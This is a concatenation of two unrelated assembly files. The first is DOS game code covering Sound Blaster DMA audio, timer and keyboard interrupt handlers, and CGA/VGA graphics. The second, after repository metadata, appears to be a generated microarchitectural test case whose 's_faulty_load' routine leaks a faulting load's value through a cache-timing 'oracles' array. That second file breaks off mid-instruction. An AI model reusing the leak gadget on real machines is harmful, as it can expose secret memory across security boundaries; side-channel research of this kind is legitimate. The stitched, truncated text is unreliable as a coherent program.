W[sblen],AX SHL AX,1 PUSH AX CALL _malloc POP CX CMP AX,0 JE endsetsb MOV W[sbbuf],AX endsetsb: POP BP RET _initsounddevice: PUSH BP PUSH SI PUSH DI MOV DX,W[sbport] ADD DX,6 MOV AL,1 OUT DX,AL PUSH DX CALL _gethrt MOV SI,AX MOV DI,DX ADD SI,4 ;3 microseconds ADC DI,0 delayloop: CALL _gethrt SUB AX,SI SBB DX,DI JC delayloop POP DX XOR AL,AL OUT DX,AL PUSH DX CALL _gethrt MOV SI,AX MOV DI,DX ADD SI,239 ;200 microseconds ADC DI,0 POP DX ADD DX,8 waitloop: IN AL,DX TEST AL,080 JNZ gotsb PUSH DX CALL _gethrt SUB AX,SI SBB DX,DI POP DX JC waitloop nosb: XOR AX,AX JMP endreset gotsb: SUB DX,4 IN AL,DX CMP AL,0aa JNZ nosb MOV BX,W[sbint] SHL BX,1 SHL BX,1 PUSH ES XOR AX,AX MOV ES,AX ES: MOV AX,W[BX] MOV W[sboldint],AX ES: MOV AX,W[BX+2] MOV W[sboldint+2],AX CS: MOV W[sbsaveds],DS CLI MOV AX,offset sbhandler ES: MOV W[BX],AX MOV AX,CS ES: MOV W[BX+2],AX STI MOV CL,B[sbint] AND CL,7 MOV DX,W[irqport] MOV AH,1 SHL AH,CL IN AL,DX NOT AH AND AL,AH OUT DX,AL POP ES MOV AL,040 CALL writedsp MOV AL,B[sbfrq] CALL writedsp MOV AL,0d1 CALL writedsp CALL playsample MOV AX,-1 endreset: POP DI POP SI POP BP RET _killsounddevice: MOV W[sbdonef],0 MOV W[sbendf],-1 waitsendloop: CMP W[sbdonef],0 JE waitsendloop MOV BX,W[sbint] SHL BX,1 SHL BX,1 PUSH ES XOR AX,AX MOV ES,AX CLI MOV AX,W[sboldint] ES: MOV W[BX],AX MOV AX,W[sboldint+2] ES: MOV W[BX+2],AX STI POP ES MOV CL,B[sbint] AND CL,7 MOV DX,W[irqport] MOV AH,1 SHL AH,CL IN AL,DX OR AL,AH OUT DX,AL RET writedsp: PUSH AX MOV DX,W[sbport] ADD DX,0c waitdsp: IN AL,DX OR AL,AL JS waitdsp POP AX OUT DX,AL RET playsample: PUSH SI PUSH DI MOV AX,W[sbbuf] MOV SI,DS MOV DI,DS MOV CL,4 SHL SI,CL MOV CL,12 SHR DI,CL ADD SI,AX ADC DI,0 MOV AX,SI MOV CX,W[sblen] ADD AX,CX JNC boundaryokay INC DI XOR SI,SI boundaryokay: DEC CX MOV BX,W[sbdma] MOV DX,W[BX+dmamaskregs] MOV AL,BL SHR AL,1 OR AL,4 OUT DX,AL MOV DX,W[BX+dmaclearregs] XOR AL,AL OUT DX,AL MOV DX,W[BX+dmamoderegs] MOV AL,BL SHR AL,1 OR AL,048 OUT DX,AL MOV DX,W[BX+dmaaddressregs] MOV AX,SI OUT DX,AL MOV AL,AH OUT DX,AL MOV DX,W[BX+dmapageregs] MOV AX,DI OUT DX,AL MOV DX,W[BX+dmalengthregs] MOV AX,CX OUT DX,AL MOV AL,AH OUT DX,AL MOV DX,W[BX+dmamaskregs] MOV AL,BL SHR AL,1 OUT DX,AL MOV AL,014 CALL writedsp MOV AL,CL CALL writedsp MOV AL,CH CALL writedsp POP DI POP SI RET sbsaveds: DW 0 sbhandler: PUSH AX PUSH BX PUSH CX PUSH DX PUSH DS PUSH ES PUSH SI PUSH DI CS: MOV AX,W[sbsaveds] MOV DS,AX MOV ES,AX MOV DX,W[sbport] ADD DL,0e IN AL,DX CMP W[sbendf],0 JNZ endsbint MOV SI,W[_buffer] MOV BX,W[_firsts] ADD SI,BX MOV DI,W[sbbuf] MOV DX,W[_size] MOV CX,W[sblen] copylooptop: MOVSB INC BX CMP BX,DX JNE contloop XOR BX,BX MOV SI,W[_buffer] contloop: LOOP copylooptop MOV W[_firsts],BX CALL playsample finsbint: MOV AL,020 OUT 020,AL POP DI POP SI POP ES POP DS POP DX POP CX POP BX POP AX IRET endsbint: MOV W[sbdonef],-1 MOV W[sbendf],0 JMP finsbint ;Original style sound routines _s0initint8: PUSH DI MOV AX,DS CS: MOV W[dssave8],AX PUSH DS MOV AX,0 MOV DS,AX MOV DI,020 MOV AX,W[DI] MOV BX,W[DI+2] CS: MOV W[int8save],AX CS: MOV W[int8save+2],BX MOV CX,offset interrupt8 MOV DX,CS CLI MOV W[DI],CX MOV W[DI+2],DX STI POP DS POP DI RET _s1restoreint8: _s0restoreint8: PUSH DI CLI MOV AL,034 OUT 043,AL XOR AL,AL OUT 040,AL OUT 040,AL CS: MOV AX,W[int8save] CS: MOV BX,W[int8save+2] MOV DI,020 PUSH DS XOR CX,CX MOV DS,CX MOV W[DI],AX MOV W[DI+2],BX STI POP DS POP DI RET int8save: DW 0,0 dssave8: DW 0 interrupt8: PUSH AX PUSH BX PUSH CX PUSH DX PUSH DS PUSH ES CS: MOV AX,W[dssave8] MOV DS,AX MOV ES,AX MOV AX,W[countval] DEC AX XOR DX,DX ADD AX,1 ADC DX,0 ADD W[_hrt],AX ADC W[_hrt+2],DX MOV BX,W[newcount] MOV W[countval],BX CMP W[_spkrmode],0 JZ o3ce CMP W[_spkrmode],1 JZ o3be IN AL,061 XOR AL,2 OUT 061,AL JMP o3ce o3be: MOV CX,W[_pulsewidth] IN AL,061 OR AL,2 OUT 061,AL o3c9: LOOP o3c9 AND AL,0fd OUT 061,AL o3ce: MOV AX,W[_timerrate] CMP AX,0 JZ autoback ADD W[_timercount],AX PUSHF MOV AX,W[_timercount] AND AX,0c000 CS: CMP AX,W[ttbtc] JE nointyet CS: MOV W[ttbtc],AX CALL _soundint nointyet: POPF JNC o3ea back: POP ES POP DS POP DX POP CX POP BX POP AX CS: JMP D[int8save] autoback: CALL _soundint JMP back o3ea: MOV AL,020 OUT 020,AL POP ES POP DS POP DX POP CX POP BX POP AX IRET ttbtc: ;Top two bits of _timercount DW 0 _s0soundoff: IN AL,061 AND AL,0fc OUT 061,AL RET _s0setspkrt2: IN AL,061 OR AL,3 OUT 061,AL RET _s0settimer0: PUSH BP MOV BP,SP MOV AL,034 OUT 043,AL MOV AX,W[BP+4] MOV W[countval],AX MOV W[newcount],AX OUT 040,AL MOV AL,AH OUT 040,AL XOR AX,AX MOV W[_hrt],AX MOV W[_hrt+2],AX POP BP RET _s0timer0: PUSH BP MOV BP,SP MOV AX,W[BP+4] MOV W[newcount],AX OUT 040,AL MOV AL,AH OUT 040,AL POP BP RET _s0settimer2: PUSH BP MOV BP,SP MOV AL,0b6 OUT 043,AL MOV AX,W[BP+4] OUT 042,AL MOV AL,AH OUT 042,AL POP BP RET _s0timer2: PUSH BP MOV BP,SP MOV AX,W[BP+4] OUT 042,AL MOV AL,AH OUT 042,AL POP BP RET _s0soundinitglob: _s0soundkillglob: RET ;Keyboard routines _initkeyb: PUSH DI MOV AX,DS CS: MOV W[dssave9],AX PUSH DS MOV AX,0 MOV DS,AX MOV DI,024 MOV AX,W[DI] MOV BX,W[DI+2] MOV CX,offset interrupt9 MOV DX,CS CLI MOV W[DI],CX MOV W[DI+2],DX STI POP DS CS: MOV W[int9save],AX CS: MOV W[int9save+2],BX POP DI RET _restorekeyb: PUSH DI PUSH ES MOV AX,0 MOV ES,AX MOV DI,024 CLI CS: MOV AX,W[int9save] ES: MOV W[DI],AX CS: MOV AX,W[int9save+2] ES: MOV W[DI+2],AX STI POP ES POP DI RET int9save: DW 0,0 dssave9: DW 0 interrupt9: PUSH AX PUSH BX PUSH CX PUSH DX PUSH DS PUSH ES CS: MOV AX,W[dssave9] MOV DS,AX IN AL,060 XOR AH,AH PUSH AX CALL _processkey POP AX POP ES POP DS POP DX POP CX POP BX POP AX CS: JMP D[int9save] _getkey: MOV AH,0 INT 016 CMP AL,0 JNE getlow MOV AL,AH MOV AH,1 JMP endgetkey getlow: MOV AH,0 endgetkey: RET _kbhit: MOV AH,1 INT 016 JZ nokeypressed MOV AX,1 JMP donekbhit nokeypressed: XOR AX,AX donekbhit: RET ;Miscellaneous graphics _graphicsoff: MOV AX,3 INT 010 RET _gretrace: CMP B[_retrflag],0 JNZ o513 RET o513: PUSH DX PUSH AX MOV DX,03da o518: IN AL,DX TEST AL,8 JNZ o518 oo518: IN AL,DX TEST AL,8 JZ oo518 POP AX POP DX RET ;CGA graphics _cgainit: MOV B[_paletten],0 MOV AX,4 INT 010 MOV AH,0b MOV BX,0 INT 010 MOV BX,0100 INT 010 RET _cgaclear: PUSH DI PUSH ES MOV AX,0b800 MOV ES,AX MOV CX,02000 XOR DI,DI XOR AX,AX REP STOSW POP ES POP DI RET _cgapal: PUSH BP MOV BP,SP CALL _gretrace CMP W[_biosflag],1 JZ biospalette MOV AL,B[BP+4] AND AL,1 SHL AL,1 MOV AH,B[_paletten] AND AH,0fd OR AL,AH JMP cgasetpal biospalette: MOV BL,B[BP+4] AND BL,1 MOV AH,0b MOV BH,1 INT 010 POP BP RET _cgainten: PUSH BP MOV BP,SP CALL _gretrace CMP W[_biosflag],1 JZ biosintensity MOV AL,B[BP+4] AND AL,1 MOV AH,B[_paletten] AND AH,0fe OR AL,AH JMP cgasetpal biosintensity: MOV BL,B[BP+4] AND BL,1 MOV CL,4 SHL BL,CL MOV AH,0b MOV BH,0 INT 010 POP BP RET cgasetpal: XOR AH,AH MOV BX,AX SHL BX,1 ADD BX,AX ADD BX,offset cgacolours MOV CL,4 SHL AL,CL MOV DX,03d9 OUT DX,AX MOV DX,03ba IN AL,DX MOV DX,03da IN AL,DX ;Make port 3c0 the index MOV DX,03c0 MOV AL,1 OUT DX,AL MOV AL,B[BX] OUT DX,AL MOV AL,2 OUT DX,AL MOV AL,B[BX+1] OUT DX,AL MOV AL,3 OUT DX,AL MOV AL,B[BX+2] OUT DX,AL MOV AL,020 OUT DX,AL POP BP RET _cgaputi: PUSH BP MOV BP,SP PUSH SI PUSH DI PUSH ES MOV BX,W[BP+4] MOV AX,W[BP+6] MOV DI,AX AND DI,1 MOV CL,0d SHL DI,CL SAR AX,1 MOV CL,80 MUL CL ADD DI,AX SAR BX,1 SAR BX,1 ADD DI,BX MOV DX,W[BP+0a] MOV CX,W[BP+0c] MOV SI,W[BP+8] MOV AX,0b800 MOV ES,AX CLD cpiyt: MOV BX,CX MOV CX,DX REP MOVSB MOV CX,BX SUB DI,DX ADD DI,02000 CMP DI,04000 JL cpiok SUB DI,03fb0 cpiok: LOOP cpiyt POP ES POP DI POP SI POP BP RET _cgageti: PUSH BP MOV BP,SP PUSH SI PUSH DI PUSH DS PUSH ES MOV BX,W[BP+4] MOV AX,W[BP+6] MOV SI,AX AND SI,1 MOV CL,0d SHL SI,CL SAR AX,1 MOV CL,80 MUL CL ADD SI,AX SAR BX,1 SAR BX,1 ADD SI,BX MOV DX,W[BP+0a] MOV CX,W[BP+0c] MOV DI,W[BP+8] MOV ES,DS MOV AX,0b800 MOV DS,AX CLD cgiyt: MOV BX,CX MOV CX,DX REP MOVSB MOV CX,BX SUB SI,DX ADD SI,02000 CMP SI,04000 JL cgiok SUB SI,03fb0 cgiok: LOOP cgiyt POP ES POP DS POP DI POP SI POP BP RET _cgaputim: PUSH BP MOV BP,SP PUSH SI PUSH DI PUSH DS PUSH ES MOV BX,W[BP+4] MOV AX,W[BP+6] MOV DI,AX AND DI,1 MOV CL,0d SHL DI,CL SAR AX,1 MOV CL,80 MUL CL ADD DI,AX SAR BX,1 SAR BX,1 ADD DI,BX PUSH DI MOV AX,0b800 MOV ES,AX CLD MOV DX,W[BP+0a] MOV CX,W[BP+0c] PUSH CX MOV SI,W[BP+8] MOV AX,seg _cgatable MOV DS,AX SHL SI,1 SHL SI,1 PUSH SI ADD SI,2 MOV AX,W[SI+offset _cgatable] MOV SI,AX cpmiyt: MOV BX,CX MOV CX,DX cpmixt: LODSB ES: AND B[DI],AL INC DI LOOP cpmixt MOV CX,BX SUB DI,DX ADD DI,02000 CMP DI,04000 JL cpmiok SUB DI,03fb0 cpmiok: LOOP cpmiyt POP SI MOV AX,W[SI+offset _cgatable] MOV SI,AX POP CX POP DI cpimyt: MOV BX,CX MOV CX,DX cpimxt: LODSB ES: OR B[DI],AL INC DI LOOP cpimxt MOV CX,BX SUB DI,DX ADD DI,02000 CMP DI,04000 JL cpimok SUB DI,03fb0 cpimok: LOOP cpimyt POP ES POP DS POP DI POP SI POP BP RET _cgagetpix: PUSH BP MOV BP,SP PUSH DI MOV AX,0b800 MOV ES,AX MOV BX,W[BP+6] ;y AND BX,1 MOV CL,0d SHL BX,CL MOV AX,W[BP+6] ;y SAR AX,1 MOV CL,80 MUL CL ADD BX,AX MOV AX,W[BP+4] ;x SAR AX,1 SAR AX,1 ADD BX,AX ES: MOV AL,B[BX] POP DI POP BP RET _cgawrite: PUSH BP MOV BP,SP PUSH SI PUSH DI PUSH DS PUSH ES MOV BX,W[BP+4] MOV AX,W[BP+6] MOV DI,AX AND DI,1 MOV CL,0d SHL DI,CL SAR AX,1 MOV CL,80 MUL CL ADD DI,AX SAR BX,1 SAR BX,1 ADD DI,BX MOV DL,B[BP+0a] AND DL,3 XOR DH,DH MOV AX,05555 MUL DX MOV DX,AX MOV BX,W[BP+8] XOR BH,BH SUB BX,020 JL cganochar CMP BX,05f JGE cganochar SHL BX,1 MOV AX,seg _ascii2cga MOV DS,AX MOV SI,W[BX+offset _ascii2cga] CMP SI,0 JE cganochar MOV BX,020 MOV AX,0b800 MOV ES,AX MOV CX,12 cytop: LODSW AND AX,DX STOSW LODSB AND AL,DL STOSB ADD DI,01ffd CMP DI,04000 JL cgaok SUB DI,03fb0 cgaok: LOOP cytop cganochar: POP ES POP DS POP DI POP SI POP BP RET _cgatitle: PUSH SI PUSH DI PUSH DS PUSH ES MOV AX,0b800 MOV ES,AX MOV DI,0 MOV SI,offset _cgatitledat MOV AX,seg _cgatitledat MOV DS,AX ctlt: MOV AL,B[SI] CMP AL,0fe JE ctrle ES: MOV B[DI],AL INC DI INC SI CMP DI,04000 JNZ ctlt JMP ctdone ctrle: INC SI MOV BL,B[SI] INC SI MOV AL,B[SI] INC SI ctrlt: ES: MOV B[DI],AL INC DI CMP DI,04000 JZ ctdone DEC BL JNZ ctrlt JMP ctlt ctdone: POP ES POP DS POP DI POP SI RET ;VGA graphics _vgainit: PUSH BP MOV BP,SP PUSH SI PUSH DI MOV B[_paletten],0 MOV AX,012 INT 010 MOV DX,03c2 MOV AL,063 OUT DX,AL CLI MOV DX,03da vrdly1: IN AL,DX TEST AL,8 JNZ vrdly1 vrdly2: IN AL,DX TEST AL,8 JZ vrdly2 MOV DX,03c4 MOV AX,0100 OUT DX,AX MOV DX,03c4 MOV AX,0300 OUT DX,AX MOV DX,03d4 MOV AL,011 OUT DX,AL INC DX IN AL,DX DEC DX AND AL,070 MOV AH,0e OR AH,AL MOV AL,011 PUSH AX OUT DX,AX MOV AX,09c10 OUT DX,AX MOV AX,08f12 OUT DX,AX MOV AX,09615 OUT DX,AX MOV AX,0b916 OUT DX,AX MOV AX,0bf06 OUT DX,AX MOV AL,9 OUT DX,AL INC DX IN AL,DX DEC DX AND AL,09f OR AL,040 MOV AH,AL MOV AL,9 OUT DX,AX MOV AX,01f07 OUT DX,AX POP AX OR AH,080 OUT DX,AX STI MOV DX,03c4 MOV AX,0300 OUT DX,AX XOR DI,DI MOV CX,0ff MOV SI,offset vgacolours MOV DX,03c8 slooptop: MOV AX,DI OUT DX,AL INC DX LODSB OUT DX,AL LODSB OUT DX,AL LODSB OUT DX,AL DEC DX INC DI LOOP slooptop POP DI POP SI MOV AL,020 MOV B[_paletten],AL MOV AX,-1 POP BP RET _vgaclear: PUSH DI PUSH ES MOV AX,0f02 MOV DX,03c4 OUT DX,AX MOV AX,0a000 MOV ES,AX XOR AX,AX XOR DI,DI MOV CX,16000 CLD REP STOSW POP ES POP DI RET _vgapal: PUSH BP MOV BP,SP CALL _gretrace MOV BL,B[BP+4] AND BL,1 MOV CL,3 SHL BL,CL MOV AL,B[_paletten] AND AL,0f7 OR AL,BL MOV B[_paletten],AL CALL vgasetpal POP BP RET _vgainten: PUSH BP MOV BP,SP CALL _gretrace MOV BL,B[BP+4] AND BL,1 MOV CL,2 SHL BL,CL MOV AL,B[_paletten] AND AL,0fb OR AL,BL MOV B[_paletten],AL CALL vgasetpal POP BP RET vgasetpal: PUSH AX MOV DX,03da IN AL,DX MOV DX,03ba IN AL,DX MOV AL,014 MOV DX,03c0 ;I'm using the VGA's colour select register to provide the OUT DX,AL ;equivalent of the CGA's palette/intensity functions. POP AX OUT DX,AL MOV AL,020 MOV DX,03c0 OUT DX,AL RET _vgaputi: PUSH BP MOV BP,SP PUSH SI PUSH DI PUSH ES MOV AX,W[BP+6] MOV DI,W[BP+4] MOV CL,160 MUL CL SHR DI,1 SHR DI,1 ADD DI,AX MOV SI,W[BP+8] MOV BX,W[BP+0a] MOV AX,0a000 MOV ES,AX MOV DX,03c4 MOV CX,4 PUSH DI CLD vpipt: PUSH CX DEC CL MOV AX,0102 SHL AH,CL OUT DX,AX MOV CX,W[BP+0c] SHL CX,1 vpiyt: MOV AX,CX MOV CX,BX REP MOVSB MOV CX,AX SUB DI,BX ADD DI,80 LOOP vpiyt POP CX POP DI PUSH DI LOOP vpipt POP DI POP ES POP DI POP SI POP BP RET _vgageti: PUSH BP MOV BP,SP PUSH SI PUSH DI PUSH DS PUSH ES MOV AX,W[BP+6] MOV SI,W[BP+4] MOV CL,160 MUL CL SHR SI,1 SHR SI,1 ADD SI,AX MOV DI,W[BP+8] MOV BX,W[BP+0a] MOV ES,DS MOV AX,0a000 MOV DS,AX MOV DX,03ce MOV CX,4 PUSH SI CLD vgipt: PUSH CX DEC CL MOV AL,4 MOV AH,CL OUT DX,AX SS: MOV CX,W[BP+0c] SHL CX,1 vgiyt: MOV AX,CX MOV CX,BX REP MOVSB MOV CX,AX SUB SI,BX ADD SI,80 LOOP vgiyt POP CX POP SI PUSH SI LOOP vgipt POP SI POP ES POP DS POP DI POP SI POP BP RET _vgaputim: PUSH BP MOV BP,SP PUSH SI PUSH DI PUSH DS PUSH ES MOV AX,W[BP+6] MOV DI,W[BP+4] MOV CL,160 MUL CL SHR DI,1 SHR DI,1 ADD DI,AX MOV BX,W[BP+0a] MOV SI,W[BP+8] MOV AX,seg _vgatable MOV DS,AX SHL SI,1 SHL SI,1 PUSH SI ADD SI,2 MOV AX,W[SI+offset _vgatable] MOV SI,AX PUSH SI PUSH DI MOV AX,0a000 MOV ES,AX MOV CX,4 MOV DX,03c4 CLD vpmipt: PUSH CX DEC CL MOV AX,0102 SHL AH,CL OUT DX,AX MOV AL,4 MOV AH,CL MOV DL,0ce OUT DX,AX MOV DL,0c4 SS: MOV CX,W[BP+0c] SHL CX,1 vpmiyt: PUSH CX MOV CX,BX vpmixt: LODSB ES: AND B[DI],AL INC DI LOOP vpmixt POP CX SUB DI,BX ADD DI,80 LOOP vpmiyt POP CX POP DI POP SI PUSH SI PUSH DI LOOP vpmipt POP DI POP SI POP SI MOV AX,W[SI+offset _vgatable] MOV SI,AX PUSH DI MOV CX,4 vpimpt: PUSH CX DEC CL MOV AX,0102 SHL AH,CL OUT DX,AX MOV AL,4 MOV AH,CL MOV DL,0ce OUT DX,AX MOV DL,0c4 SS: MOV CX,W[BP+0c] SHL CX,1 vpimyt: PUSH CX MOV CX,BX vpimxt: LODSB ES: OR B[DI],AL INC DI LOOP vpimxt POP CX SUB DI,BX ADD DI,80 LOOP vpimyt POP CX POP DI PUSH DI LOOP vpimpt POP DI POP ES POP DS POP DI POP SI POP BP RET _vgagetpix: PUSH BP MOV BP,SP PUSH DI XOR DI,DI MOV AX,0a000 MOV ES,AX MOV AX,W[BP+6] MOV CX,160 MUL CX MOV CX,AX MOV BX,W[BP+4] SAR BX,1 SAR BX,1 ADD BX,CX MOV CX,4 get4ptop: PUSH CX DEC CL MOV DX,03ce MOV AL,4 MOV AH,CL OUT DX,AX ES: MOV CL,B[BX] OR DI,CX ES: MOV CL,B[BX+80] OR DI,CX POP CX LOOP get4ptop MOV AX,DI AND AX,0ee ;Long story, to do with the height of fire going to 16 pixels POP DI POP BP RET vganochar: JMP vganochar2 _vgawrite: PUSH BP MOV BP,SP PUSH SI PUSH DI PUSH DS PUSH ES MOV BX,W[BP+8] XOR BH,BH SUB BX,020 JL vganochar2 CMP BX,05f JGE vganochar2 SHL BX,1 PUSH DS MOV AX,seg _ascii2vga MOV DS,AX MOV SI,W[BX+offset _ascii2vga] POP DS CMP SI,0 JE vganochar2 MOV BX,020 MOV AX,W[BP+6] MOV DI,W[BP+4] MOV CL,160 MUL CL SHR DI,1 SHR DI,1 ADD DI,AX MOV BL,B[BP+0a] XOR BH,BH SHL BX,1 SHL BX,1 SHL BX,1 ADD BX,offset _textoffdat MOV CX,4 MOV AX,0a000 MOV ES,AX MOV DX,03c4 MOV AX,seg _ascii2vga MOV DS,AX planetop: PUSH CX DEC CX MOV AX,0102 SHL AH,CL OUT DX,AX ADD SI,W[BX] INC BX INC BX MOV CX,24 ytop: MOVSW MOVSB ADD DI,77 LOOP ytop POP CX SUB DI,1920 LOOP planetop vganochar2: POP ES POP DS POP DI POP SI POP BP RET _vgatitle: PUSH ES PUSH DS PUSH DI PUSH SI MOV AX,0a000 MOV ES,AX MOV SI,offset _vgatitledat MOV AX,seg _vgatitledat MOV DS,AX MOV CX,4 MOV DX,03c4 vtplt: XOR DI,DI DEC CX MOV AX,0102 SHL AH,CL OUT DX,AX INC CX vtlt: MOV AL,B[SI] CMP AL,254 JE vtrle ES: MOV B[DI],AL INC DI INC SI CMP DI,07d00 JNZ vtlt JMP vtdone vtrle: INC SI MOV BL,B[SI] INC SI MOV AL,B[SI] INC SI vtrlt: ES: MOV B[DI],AL INC DI CMP DI,07d00 JZ vtdone DEC BL JNZ vtrlt JMP vtlt vtdone: LOOP vtplt POP SI POP DI POP DS POP ES RET _DATA SEGMENT WORD PUBLIC 'DATA' _paletten: DB 0 _hrt: DW 0,0 countval: DW 0 newcount: DW 0 cgacolours: DB 2,4,6,18,20,22,3,5,7,19,21,23 vgacolours: DB 0, 0, 0, 0, 0,32, 0,32, 0, 0,32,32 DB 32, 0, 0, 32, 0,32, 32,32, 0, 32,32,32 DB 0, 0,16, 0, 0,63, 0,32,16, 0,32,63 DB 32, 0,16, 32, 0,63, 32,32,16, 32,32,32 DB 0,16, 0, 0,16,32, 0,63, 0, 0,63,32 DB 32,16, 0, 32,16,32, 32,63, 0, 32,63,32 DB 0,16,16, 0,16,63, 0,63,16, 0,63,63 DB 32,16,16, 32,16,63, 32,63,16, 32,63,63 DB 16, 0, 0, 16, 0,32, 16,32, 0, 16,32,32 DB 63, 0, 0, 63, 0,32, 63,32, 0, 63,32,32 DB 16, 0,16, 16, 0,63, 16,32,16, 16,32,63 DB 63, 0,16, 63, 0,63, 63,32,16, 63,32,63 DB 16,16, 0, 16,16,32, 16,63, 0, 16,63,32 DB 63,16, 0, 63,16,32, 63,63, 0, 63,63,32 DB 16,16,16, 0, 0,63, 0,63, 0, 0,63,63 DB 63, 0, 0, 63, 0,63, 63,63, 0, 63,63,63 DB 0, 0, 0, 0, 0,63, 0,63, 0, 0,63,63 DB 63, 0, 0, 63, 0,63, 63,63, 0, 48,48,48 DB 0, 0,21, 0, 0,63, 0,42,21, 0,42,63 DB 42, 0,21, 42, 0,63, 42,42,21, 42,42,63 DB 0,21, 0, 0,21,42, 0,63, 0, 0,63,42 DB 63,32, 0, 42,21,42, 42,63, 0, 42,63,42 DB 0,21,21, 0,21,63, 0,63,21, 0,63,63 DB 42,21,21, 42,21,63, 42,63,21, 42,63,63 DB 21, 0, 0, 21, 0,42, 21,42, 0, 21,42,42 DB 63, 0, 0, 63, 0,42, 63,42, 0, 63,42,42 DB 21, 0,21, 21, 0,63, 21,42,21, 21,42,63 DB 63, 0,21, 63, 0,63, 63,42,21, 63,42,63 DB 21,21, 0, 21,21,42, 21,63, 0, 21,63,42 DB 63,21, 0, 63,21,42, 63,63, 0, 63,63,42 DB 32,32,32, 32,32,63, 32,63,32, 32,63,63 DB 63,32,32, 63,32,63, 63,63,32, 63,63,63 DB 0, 0, 0, 0,32, 0, 32, 0, 0, 32,16, 0 DB 0, 0,32, 0,32,32, 32, 0,32, 32,32,32 DB 0,16, 0, 0,63, 0, 32,16, 0, 32,63, 0 DB 0,16,32, 0,63,32, 32,16,32, 32,32,32 DB 16, 0, 0, 16,32, 0, 63, 0, 0, 63,32, 0 DB 32, 0,32, 16,32,32, 63, 0,32, 63,32,32 DB 16,16, 0, 16,63, 0, 63,16, 0, 63,63, 0 DB 16,16,32, 16,63,32, 63,16,32, 63,63,32 DB 0, 0,16, 0,32,16, 32, 0,16, 32,32,16 DB 0, 0,63, 0,32,63, 32, 0,63, 32,32,63 DB 0,16,16, 0,63,16, 32,16,16, 32,63,16 DB 0,16,63, 0,63,63, 32,16,63, 32,63,63 DB 16, 0,16, 16,32,16, 63, 0,16, 63,32,16 DB 16, 0,63, 16,32,63, 63, 0,63, 63,32,63 DB 16,16,16, 0,63, 0, 63, 0, 0, 63,63, 0 DB 0, 0,63, 0,63,63, 63, 0,63, 63,63,63 DB 0, 0, 0, 0,63, 0, 63, 0, 0, 63,32, 0 DB 0, 0,63, 0,63,63, 63, 0,63, 48,48,48 DB 0,21, 0, 0,63, 0, 42,21, 0, 42,63, 0 DB 0,21,42, 0,63,42, 42,21,42, 42,63,42 DB 21, 0, 0, 21,42, 0, 63, 0, 0, 63,42, 0 DB 63, 0,63, 21,42,42, 63, 0,42, 63,42,42 DB 21,21, 0, 21,63, 0, 63,21, 0, 63,63, 0 DB 21,21,42, 21,63,42, 63,21,42, 63,63,42 DB 0, 0,21, 0,42,21, 42, 0,21, 42,42,21 DB 0, 0,63, 0,42,63, 42, 0,63, 42,42,63 DB 0,21,21, 0,63,21, 42,21,21, 42,63,21 DB 0,21,63, 0,63,63, 42,21,63, 42,63,63 DB 21, 0,21, 21,42,21, 63, 0,21, 63,42,21 DB 21, 0,63, 21,42,63, 63, 0,63, 63,42,63 DB 32,32,32, 32,63,32, 63,32,32, 63,63,32 DB 32,32,63, 32,63,63, 63,32,63, 63,63,63 sbport: DW 0220 sbint: DW 0f sbdma: DW 2 sbfrq: DW 200 sblen: DW 100 sbbuf: DW 0 sboldint: DW 0,0 sbendf: DW 0 sbdonef: DW 0 irqport: DW 021 dmapageregs: DW 087,083,081,082,08f,08b,089,08a dmaaddressregs: DW 0,2,4,6,0c0,0c4,0c8,0cc dmalengthregs: DW 1,3,5,7,0c2,0c6,0ca,0ce dmamaskregs: DW 0a,0a,0a,0a,0d4,0d4,0d4,0d4 dmamoderegs: DW 0b,0b,0b,0b,0d6,0d6,0d6,0d6 dmaclearregs: DW 0c,0c,0c,0c,0d8,0d8,0d8,0d8
Transynther/x86/_processed/NONE/_xt_sm_/i3-7100_9_0x84_notsx.log_1164_2295.asm
ljhsiun2/medusa
9
9408
<reponame>ljhsiun2/medusa<filename>Transynther/x86/_processed/NONE/_xt_sm_/i3-7100_9_0x84_notsx.log_1164_2295.asm<gh_stars>1-10 .global s_prepare_buffers s_prepare_buffers: push %r10 push %r15 push %rax push %rbp push %rcx push %rdi push %rsi lea addresses_D_ht+0x82e0, %rsi lea addresses_normal_ht+0x33d0, %rdi clflush (%rsi) clflush (%rdi) nop nop nop nop nop add %rax, %rax mov $96, %rcx rep movsl nop nop nop xor $64479, %r10 lea addresses_UC_ht+0x12368, %rax nop nop nop nop nop xor $39195, %rbp movw $0x6162, (%rax) nop xor %rsi, %rsi lea addresses_WT_ht+0xa686, %rcx nop add %rax, %rax mov (%rcx), %edi nop nop xor %r10, %r10 lea addresses_WC_ht+0x10025, %rax nop cmp %r15, %r15 mov $0x6162636465666768, %rcx movq %rcx, %xmm7 and $0xffffffffffffffc0, %rax vmovntdq %ymm7, (%rax) nop nop nop nop nop inc %rbp lea addresses_D_ht+0x13f50, %rbp nop nop nop nop nop xor %r10, %r10 mov $0x6162636465666768, %rdi movq %rdi, %xmm3 movups %xmm3, (%rbp) inc %rax pop %rsi pop %rdi pop %rcx pop %rbp pop %rax pop %r15 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r8 push %r9 push %rax push %rbx push %rdi push %rdx // Load lea addresses_WT+0x15d0, %rbx nop inc %rdx mov (%rbx), %r8w add %r8, %r8 // Store lea addresses_PSE+0x7e70, %r10 nop inc %rax mov $0x5152535455565758, %r9 movq %r9, (%r10) nop nop add %rbx, %rbx // Store mov $0x994, %rax nop nop nop nop nop and %r9, %r9 mov $0x5152535455565758, %rdx movq %rdx, %xmm3 movups %xmm3, (%rax) nop nop cmp %r8, %r8 // Load lea addresses_PSE+0x188fc, %r9 and $29546, %rbx mov (%r9), %r8w nop nop nop nop sub $65001, %r8 // Store lea addresses_A+0xa5d0, %r10 nop nop nop and %rax, %rax movb $0x51, (%r10) nop nop xor %rax, %rax // Store lea addresses_WT+0x1c5d0, %r9 nop sub %rdi, %rdi movl $0x51525354, (%r9) nop and $24468, %r9 // Store lea addresses_US+0xe080, %r8 nop nop nop nop nop and %rax, %rax mov $0x5152535455565758, %rdx movq %rdx, (%r8) nop and $33776, %r10 // Store lea addresses_normal+0x197d0, %r9 nop and $8880, %rdi mov $0x5152535455565758, %r8 movq %r8, %xmm2 vmovntdq %ymm2, (%r9) nop inc %r8 // Store mov $0xdd0, %rdx xor %rax, %rax movb $0x51, (%rdx) nop and $38542, %rax // Store lea addresses_D+0xc850, %rdi nop nop nop nop nop and %rax, %rax mov $0x5152535455565758, %r9 movq %r9, (%rdi) nop nop inc %r8 // Faulty Load lea addresses_A+0xa5d0, %rbx nop nop nop add %rdx, %rdx mov (%rbx), %r9d lea oracles, %rax and $0xff, %r9 shlq $12, %r9 mov (%rax,%r9,1), %r9 pop 